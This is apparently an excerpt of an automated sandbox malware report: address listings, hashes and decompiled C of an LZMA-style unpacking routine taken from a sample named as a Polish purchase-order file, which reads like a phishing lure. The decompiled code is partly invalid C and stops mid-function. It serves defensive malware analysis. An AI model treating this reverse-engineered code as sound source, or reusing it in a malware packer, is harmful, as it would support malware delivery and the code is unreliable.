                                                                                              0x00406a6e
                                                                                              0x00406a6e
                                                                                              0x00000000
                                                                                              0x00406a6e
                                                                                              0x00406a3d
                                                                                              0x00406a40
                                                                                              0x00406a43
                                                                                              0x00406a46
                                                                                              0x00406a4d
                                                                                              0x00406991
                                                                                              0x00406991
                                                                                              0x00406994
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406b28
                                                                                              0x00406b2b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406762
                                                                                              0x00406764
                                                                                              0x0040676b
                                                                                              0x0040676c
                                                                                              0x0040676e
                                                                                              0x00406771
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406779
                                                                                              0x0040677c
                                                                                              0x0040677f
                                                                                              0x00406781
                                                                                              0x00406783
                                                                                              0x00406783
                                                                                              0x00406784
                                                                                              0x00406787
                                                                                              0x0040678e
                                                                                              0x00406791
                                                                                              0x0040679f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a75
                                                                                              0x00406a75
                                                                                              0x00406a78
                                                                                              0x00406a7f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a84
                                                                                              0x00406a84
                                                                                              0x00406a88
                                                                                              0x00406bc0
                                                                                              0x00000000
                                                                                              0x00406bc0
                                                                                              0x00406a8e
                                                                                              0x00406a91
                                                                                              0x00406a94
                                                                                              0x00406a98
                                                                                              0x00406a9b
                                                                                              0x00406aa1
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa6
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aac
                                                                                              0x00406aac
                                                                                              0x00406ab0
                                                                                              0x00406b10
                                                                                              0x00406b13
                                                                                              0x00406b18
                                                                                              0x00406b19
                                                                                              0x00406b1b
                                                                                              0x00406b1d
                                                                                              0x00406b20
                                                                                              0x00000000
                                                                                              0x00406b20
                                                                                              0x00406ab2
                                                                                              0x00406ab8
                                                                                              0x00406abb
                                                                                              0x00406abe
                                                                                              0x00406ac1
                                                                                              0x00406ac4
                                                                                              0x00406ac7
                                                                                              0x00406aca
                                                                                              0x00406acd
                                                                                              0x00406ad0
                                                                                              0x00406ad3
                                                                                              0x00406aec
                                                                                              0x00406aef
                                                                                              0x00406af2
                                                                                              0x00406af5
                                                                                              0x00406af9
                                                                                              0x00406afb
                                                                                              0x00406afb
                                                                                              0x00406afc
                                                                                              0x00406aff
                                                                                              0x00406ad5
                                                                                              0x00406ad5
                                                                                              0x00406add
                                                                                              0x00406ae2
                                                                                              0x00406ae4
                                                                                              0x00406ae7
                                                                                              0x00406ae7
                                                                                              0x00406b02
                                                                                              0x00406b09
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x004067a7
                                                                                              0x004067aa
                                                                                              0x004067e0
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406913
                                                                                              0x00406913
                                                                                              0x00406916
                                                                                              0x00406918
                                                                                              0x00406ba2
                                                                                              0x00000000
                                                                                              0x00406ba2
                                                                                              0x0040691e
                                                                                              0x00406921
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406927
                                                                                              0x0040692b
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x00000000
                                                                                              0x0040692e
                                                                                              0x004067ac
                                                                                              0x004067ae
                                                                                              0x004067b0
                                                                                              0x004067b2
                                                                                              0x004067b5
                                                                                              0x004067b6
                                                                                              0x004067b8
                                                                                              0x004067ba
                                                                                              0x004067bd
                                                                                              0x004067c0
                                                                                              0x004067d6
                                                                                              0x004067db
                                                                                              0x00406813
                                                                                              0x00406813
                                                                                              0x00406817
                                                                                              0x00406843
                                                                                              0x00406845
                                                                                              0x0040684c
                                                                                              0x0040684f
                                                                                              0x00406852
                                                                                              0x00406852
                                                                                              0x00406857
                                                                                              0x00406857
                                                                                              0x00406859
                                                                                              0x0040685c
                                                                                              0x00406863
                                                                                              0x00406866
                                                                                              0x00406893
                                                                                              0x00406893
                                                                                              0x00406896
                                                                                              0x00406899
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x00000000
                                                                                              0x0040690d
                                                                                              0x0040689b
                                                                                              0x004068a1
                                                                                              0x004068a4
                                                                                              0x004068a7
                                                                                              0x004068aa
                                                                                              0x004068ad
                                                                                              0x004068b0
                                                                                              0x004068b3
                                                                                              0x004068b6
                                                                                              0x004068b9
                                                                                              0x004068bc
                                                                                              0x004068d5
                                                                                              0x004068d7
                                                                                              0x004068da
                                                                                              0x004068db
                                                                                              0x004068de
                                                                                              0x004068e0
                                                                                              0x004068e3
                                                                                              0x004068e5
                                                                                              0x004068e7
                                                                                              0x004068ea
                                                                                              0x004068ec
                                                                                              0x004068ef
                                                                                              0x004068f3
                                                                                              0x004068f5
                                                                                              0x004068f5
                                                                                              0x004068f6
                                                                                              0x004068f9
                                                                                              0x004068fc
                                                                                              0x004068be
                                                                                              0x004068be
                                                                                              0x004068c6
                                                                                              0x004068cb
                                                                                              0x004068cd
                                                                                              0x004068d0
                                                                                              0x004068d0
                                                                                              0x004068ff
                                                                                              0x00406906
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00406906
                                                                                              0x00406819
                                                                                              0x0040681c
                                                                                              0x0040681e
                                                                                              0x00406821
                                                                                              0x00406824
                                                                                              0x00406827
                                                                                              0x00406829
                                                                                              0x0040682c
                                                                                              0x0040682f
                                                                                              0x0040682f
                                                                                              0x00406832
                                                                                              0x00406832
                                                                                              0x00406835
                                                                                              0x0040683c
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x0040683c
                                                                                              0x004067c2
                                                                                              0x004067c5
                                                                                              0x004067c7
                                                                                              0x004067ca
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406529
                                                                                              0x00406529
                                                                                              0x0040652d
                                                                                              0x00406b72
                                                                                              0x00000000
                                                                                              0x00406b72
                                                                                              0x00406533
                                                                                              0x00406536
                                                                                              0x00406539
                                                                                              0x0040653c
                                                                                              0x0040653f
                                                                                              0x00406542
                                                                                              0x00406545
                                                                                              0x00406547
                                                                                              0x0040654a
                                                                                              0x0040654d
                                                                                              0x00406550
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406935
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040693b
                                                                                              0x0040693e
                                                                                              0x00406941
                                                                                              0x00406944
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406949
                                                                                              0x0040694c
                                                                                              0x0040694f
                                                                                              0x00406952
                                                                                              0x00406955
                                                                                              0x00406958
                                                                                              0x00406959
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695e
                                                                                              0x00406961
                                                                                              0x00406964
                                                                                              0x00406967
                                                                                              0x0040696a
                                                                                              0x0040696e
                                                                                              0x00406970
                                                                                              0x00406973
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x00406973
                                                                                              0x00406ba8
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7

                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: adca5b2b6989107afceee3a061708c38461c5fc9fc0daf484043dfdf7e09805a
                                                                                              • Instruction ID: d456333056e0522eb9a81365918d8492ce98a85054e5b278218ea4b7938feab7
                                                                                              • Opcode Fuzzy Hash: adca5b2b6989107afceee3a061708c38461c5fc9fc0daf484043dfdf7e09805a
                                                                                              • Instruction Fuzzy Hash: E1814671D04228CFDF24CFA8C8847ADBBB1FB44305F25816AD416BB281C778AA96DF44
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00406195 Relevance: 5.2, APIs: 4, Instructions: 198COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 98%
                                                                                              			E00406195(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00406BE7))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8); // executed
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									__ebx = __edx + 1;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__ebx = __edx + 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
